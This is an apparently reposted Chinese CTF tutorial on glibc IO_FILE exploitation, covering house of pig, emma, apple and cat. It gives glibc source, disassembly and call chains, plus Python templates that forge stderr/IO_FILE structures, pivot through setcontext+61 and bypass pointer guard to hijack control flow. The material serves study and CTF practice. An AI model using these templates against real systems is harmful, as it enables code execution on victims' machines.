GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31. Copyright (C) 2020 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 9.4.0. libc ABIs: UNIQUE IFUNC ABSOLUTE

不过该方法的利用链和利用技巧却在之后的其他利用手段中被常常使用:

<setcontext+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>:    mov    rbx,QWORD PTR [rdx+0x80]
<setcontext+75>:    mov    rbp,QWORD PTR [rdx+0x78]
<setcontext+79>:    mov    r12,QWORD PTR [rdx+0x48]
<setcontext+83>:    mov    r13,QWORD PTR [rdx+0x50]
<setcontext+87>:    mov    r14,QWORD PTR [rdx+0x58]
<setcontext+91>:    mov    r15,QWORD PTR [rdx+0x60]
<setcontext+95>:    test   DWORD PTR fs:0x48,0x2
<setcontext+107>:    je     0x7ffff7e31156 <setcontext+294>
->
<setcontext+294>:    mov    rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>:    push   rcx
<setcontext+302>:    mov    rsi,QWORD PTR [rdx+0x70]
<setcontext+306>:    mov    rdi,QWORD PTR [rdx+0x68]
<setcontext+310>:    mov    rcx,QWORD PTR [rdx+0x98]
<setcontext+317>:    mov    r8,QWORD PTR [rdx+0x28]
<setcontext+321>:    mov    r9,QWORD PTR [rdx+0x30]
<setcontext+325>:    mov    rdx,QWORD PTR [rdx+0x88]
<setcontext+332>:    xor    eax,eax
<setcontext+334>:    ret

假设现在我们能令 rdx 指向自己伪造的某个结构体,那么就能够在上述代码段中设定所有通用寄存器的值。同时可以注意到,rcx 寄存器用以设定该函数的返回值,其被储存在了 [rdx+0xa8] 。

house of pig

在只有 calloc 的情况下,通过 tcachebin 完成的一种利用技巧。

其触发函数只有一个:_IO_str_overflow ,关键代码如下:

if (fp->_flags & _IO_USER_BUF)
    return EOF;
else
{
    char *new_buf;
    char *old_buf = fp->_IO_buf_base;
    size_t old_blen = _IO_blen (fp);
    size_t new_size = 2 * old_blen + 100;
    if (new_size < old_blen)
        return EOF;
    new_buf = malloc (new_size);//-------house of pig:get chunk from tcache
    if (new_buf == NULL)
    {
        /*      __ferror(fp) = 1; */
        return EOF;
    }
    if (old_buf)
    {
        memcpy (new_buf, old_buf, old_blen);
        //-------house of pig:copy /bin/sh and system to _free_hook
        free (old_buf);        //-------house of pig:getshell
        /* Make sure _IO_setb won't try to delete _IO_buf_base. */
        fp->_IO_buf_base = NULL;
    }

此段代码调用 malloc 、memcpy 和 free ,触发关键是在申请内存时已向 tcachebin 中放入 __free_hook ,而调用 memcpy 时向其中写入其他函数地址,然后在 free 时触发劫持。

此项利用和上面又有些许不同的是,我们可以直接伪造整个 IO_FILE ,但将其 vtable 指向 _IO_str_jumps 而不需要修改跳转表本身,由于_IO_str_jumps 是一个合法的跳转表,因此能够正常被使用而不会触发异常。

调用 _IO_flush_all_lockp 时可以触发该函数,一般如下任意一个都行:

  1. 1. 当 libc 执行abort流程时。

  2. 2. 程序显式调用 exit 。

  3. 3. 程序能通过主函数返回。

但这需要 __free_hook ,如您所见,自 GLIBC2.34 以来就不再使用了。不过如果能写 got 表,在之后还是可以尝试利用的。

常用的伪造 stderr 模板:

# magic_gadget:mov rdx, rbx ; mov rsi, r12 ; call qword ptr [r14 + 0x38]
fake_stderr = p64(0)*3 + p64(0xffffffffffffffff) # _IO_write_ptr
fake_stderr += p64(0) + p64(fake_stderr_addr+0xf0) + p64(fake_stderr_addr+0x108)
fake_stderr = fake_stderr.ljust(0x78, b'x00')
fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lock
fake_stderr = fake_stderr.ljust(0x90, b'x00') # srop
fake_stderr += p64(rop_address + 0x10) + p64(ret_addr) # rsp rip
fake_stderr = fake_stderr.ljust(0xc8, b'x00')
fake_stderr += p64(libc.sym['_IO_str_jumps'] - 0x20)
fake_stderr += p64(0) + p64(0x21)
fake_stderr += p64(magic_gadget) + p64(0) # r14 r14+8
fake_stderr += p64(0) + p64(0x21) + p64(0)*3
fake_stderr += p64(libc.sym['setcontext']+61) # r14 + 0x38

house of emma

在 GLIBC2.34 以后没有了 __free_hook 和 __malloc_hook 等极其方便的利用,因此出现了一个新的利用链,主要和 _IO_cookie_jumps 有关。

但其本质似乎更类似于一个 __free_hook 和 __malloc_hook 的代替品:

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif

  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }

  ssize_t n = write_cb (cfile->__cookie, buf, size);
  if (n < size)
    fp->_flags |= _IO_ERR_SEEN;

  return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (seek_cb);
#endif

  return ((seek_cb == NULL
       || (seek_cb (cfile->__cookie, &offset, dir)
           == -1)
       || offset == (off64_t) -1)
      ? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (close_cb);
#endif

  if (close_cb == NULL)
    return 0;

  return close_cb (cfile->__cookie);
}

可以注意到,关键的几个跳转函数都来自于函数指针:

  cookie_read_function_t *read_cb = cfile->__io_functions.read;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;

这个文件结构来自于如下结构体:

struct _IO_cookie_file
{
  struct _IO_FILE_plus __fp;
  void *__cookie;
  cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t
{
  cookie_read_function_t *read;        /* Read bytes.  */
  cookie_write_function_t *write;    /* Write bytes.  */
  cookie_seek_function_t *seek;        /* Seek/tell file position.  */
  cookie_close_function_t *close;    /* Close file.  */
} cookie_io_functions_t;

在 vtable 为 _IO_cookie_jumps 时会默认当前的结构体为 _IO_cookie_file 。

在湖湘杯的原题中,其利用思路如下:

伪造 stderr 的 IO_FILE 为堆中数据,并将其 vtable 改为 _IO_cookie_jumps 。 然后同 house of kiwi 一样,通过修改 top chunk 的 size 以触发 malloc_assert 与 fflush(stderr) ,从而调用 setcontext+61 来调用 ROP 进行 ORW 读取 flag

不过在高版本中对需表添加了指针保护,其原理是:在调用虚表函数时,将其地址与一个“随机值”进行异或后跳转。

  0x7fad55f729f4 <_IO_cookie_write+4>     push   rbp  
  0x7fad55f729f5 <_IO_cookie_write+5>     push   rbx  
  0x7fad55f729f6 <_IO_cookie_write+6>     mov    rbx, rdi  
  0x7fad55f729f9 <_IO_cookie_write+9>     sub    rsp, 8  
  0x7fad55f729fd <_IO_cookie_write+13>    mov    rax, qword ptr [rdi + 0xf0]  
  0x7fad55f72a04 <_IO_cookie_write+20>    ror    rax, 0x11  
  0x7fad55f72a08 <_IO_cookie_write+24>    xor    rax, qword ptr fs:[0x30]  
  0x7fad55f72a11 <_IO_cookie_write+33>    test   rax, rax  
  0x7fad55f72a14 <_IO_cookie_write+36>    je     _IO_cookie_write+55 

  0x7fad55f72a16 <_IO_cookie_write+38>    mov    rbp, rdx  
  0x7fad55f72a19 <_IO_cookie_write+41>    mov    rdi, qword ptr [rdi + 0xe0]  
  0x7fad55f72a20 <_IO_cookie_write+48>    call   rax

先将值循环右移 11 位后与 fs:[0x30] 异或得到真正的跳转地址。但在本题中可以考虑直接修改 fs:[0x30] 中储存的值来绕过这个检查。

通过多次的 largebin attack 可以实现多次任意地址读写,这能令我们修改 fs:[0X30] 和 stderr

如下为常用的伪造模板:

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)
magic_gadget = libc.address + 0x1460e0 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0)  # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)  # _IO_buf_base
fake_IO_FILE += p64(0)  # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'x00')
fake_IO_FILE += p64(next_chain)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'x00')
fake_IO_FILE += p64(heap_base)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_cookie_jumps'] + 0x40)  # vtable
fake_IO_FILE += p64(srop_addr)  # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(magic_gadget ^ (garud_value), 0x11))

house of apple

apple1

该方法作为今年刚出现的新利用,发现者本人已经对该利用做了非常详细的分析,再复述一遍也没有太大的意义,而且也不太尊重这位师傅。因此本文只做一些基本的总结性分析,对于原文的相近分析,可在参考列表中找到 roderick01 师傅的原文。

使用 house of apple 的条件为: 1、程序从 main 函数返回或能调用 exit 函数 2、能泄露出 heap 地址和 libc 地址 3、 能使用一次 largebin attack

调用链为:

exit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_OVERFLOW

在函数主动调用 exit 或从 main 函数正常返回时都能够触发该调用链。

关键点是通过调用 _IO_wstrn_overflow 等函数实现一次任意地址写:

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
         snf->overflow_buf + (sizeof (snf->overflow_buf)
                      / sizeof (wchar_t)), 0);

      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->over             flow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
                      + (sizeof (snf->overflow_buf)
                     / sizeof (wchar_t)));
    }

  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;

  return c;
}

如果能够伪造 _IO_list_all 结构体中的数据,就能够在合适的地点调用该函数,通过设定 _wide_data 来实现任意地址写:

      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->over             flow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
                      + (sizeof (snf->overflow_buf)
                     / sizeof (wchar_t)));

而由于 _IO_flush_all_lockp 是会通过 _IO_list_all 遍历整个链表的,因此在伪造时可以直接布置好 _chain 来构成连接,从而在第二个伪造的 IO_FILE 中完成利用。

所以整个利用算是对前面几个利用的一种补充,其关键点在于通过一次写入完成整条调用链的布置。

在第一个 IO_FILE 中布置一系列数据之后,在第二个 IO_FILE 中借助已经布置好的数据完成利用。提出者本人总结了几个好用的常规思路:

  • • house of apple1 + house of pig

第一步通过数据写入去修改 tcachebin 中的数据内容,然后在第二个 IO_FILE 中调用 malloc/memcpy 进行任意地址覆盖,如果能够覆盖 free 的 got 表,就能在马上到来时劫持执行流了。

  • • house of apple1 + house of emma

house of emma 需要修改 pointer_guard 来绕过指针保护,因此可以通过第一步修改该值为一个定值,然后在第二步中进行 ROP。

apple2

除了第一种方法外,roderick01 还提出了另外一种利用方法。

_IO_wide_data 自带了一个虚表指针,而在调用这部分函数时并不会通过 IO_validate_vtable 检查地址合法性,因此可以像是 GLIBC2.23 那样直接修改虚表内容进行劫持。

主要过程是,劫持 vtable 为 _IO_wfile_jumps ,并控制 IO_FILE 中的 _wide_data -> _wide_vtable 来劫持其中的函数调用。一般可以正常触发 _IO_WDOALLOCATE 和 _IO_WOVERFLOW ,和前文所述的触发方式没有差别。

对于第二个方法,师傅总结了三条调用链:

_IO_wfile_overflow -> _IO_wdoallocbuf - > _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable+0x68)(fp)
_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
_IO_wdefault_xsgetn -> __wunderflow -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW -> *(fp->_wide_data->_wide_vtable + 0x18)(fp)

house of cat

该利用出现在今年的强网杯中,不过它的利用链似乎和 apple2 有一部分重合。

利用条件如下: 1. 能够任意写一个可控地址。 2. 能够泄露堆地址和libc基址。 3. 能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。

其调用链如下:

vtable -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW 

首先通过修改 vtable 的偏移使其在触发虚表跳转时执行 _IO_wfile_seekoff ,从而进行调用链。

在 house of apple2 中提到过,_wide_vtable 是不经过 IO_validate_vtable 检查的,因此可以直接劫持控制流,通过 house of kiwi 的利用手段,以 setcontext+61 来调用 ROP。

结语

最后我们大致梳理一下 IO 利用的几个发展历程吧。

  • • 最开始,我们能够直接修改 vtable 的值,这样就能劫持所有的跳转函数了(house of orange)

  • • GLIBC2.24 开始,加入了检查,这让虚表必须处于某个特定的内存段内

  • • 既然不能修改整个虚表,那就只修改其中几个会被调用的函数地址(house of kiwi)

  • • 在 GLIBC2.31 9.4.0 的小版本下,整个段被设定为不可写

  • • 既然整个虚表都不能改动了,那就通过其中原有的函数调用链进行利用(house of pig 的 malloc-memcpy-free)

  • • 在 GLIBC2.34 开始,__free_hook 和 __malloc_hook 被删除

  • • 寻找上两个的代替品,发现某个虚表中的调用函数仍然使用函数指针进行,修改这个函数指针进行替代,但是由于指针保护的存在,需要多次写入(house of emma)

  • • 寻找一次写入即可完成的调用链,以及没有指针保护的跳转表(house of apple/cat)

当然,正如读者所知的是,除了本文涉及到的几个 house of xxx 外,还有 house of banana/house of husk 等诸多利用没有涉及。 它们当然也是很有意思的利用,但似乎在某些地方缺乏了泛用性,因此本文仅选了几个笔者认为比较重要或是有代表性的利用进行学习。 您也知道,house of xxx 系列总共已有二十来个,其中涉及到 IO 应该也有将近十多个了。如果为了学习一个利用技巧,前置技能需要十来个其他利用,未免显得有些晦涩了。

参考资料

winmt:https://bbs.pediy.com/thread-272098.htm

chuj:https://www.cjovi.icu/pwnreview/1171.html

raycp:https://www.anquanke.com/post/id/177958

r3kapig:https://www.anquanke.com/post/id/242640

roderick01:https://bbs.pediy.com/thread-273418.htm

roderick01:https://bbs.pediy.com/thread-273832.htm

roderick01:https://bbs.pediy.com/thread-273863.htm

春秋伽玛:https://bbs.pediy.com/thread-270429.htm

CatF1y:https://bbs.pediy.com/thread-273895.htm

师傅们的文章都非常炫酷,如果您想要进一步理解,我推荐读者将本文与上述参考对照着看。


推荐阅读:
java免杀合集
ATT&CK中的攻与防——T1059
若依(RuoYi)管理系统后台sql注入漏洞分析
利用 PHP-FPM 做内存马的方法
一种新的Tomcat内存马 – Upgrade内存马

跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。


跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文

原文始发于微信公众号(跳跳糖社区):零基础要如何破除 IO_FILE 利用原理的迷雾

版权声明:admin 发表于 2022年9月20日 上午10:33。
转载请注明:零基础要如何破除 IO_FILE 利用原理的迷雾 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...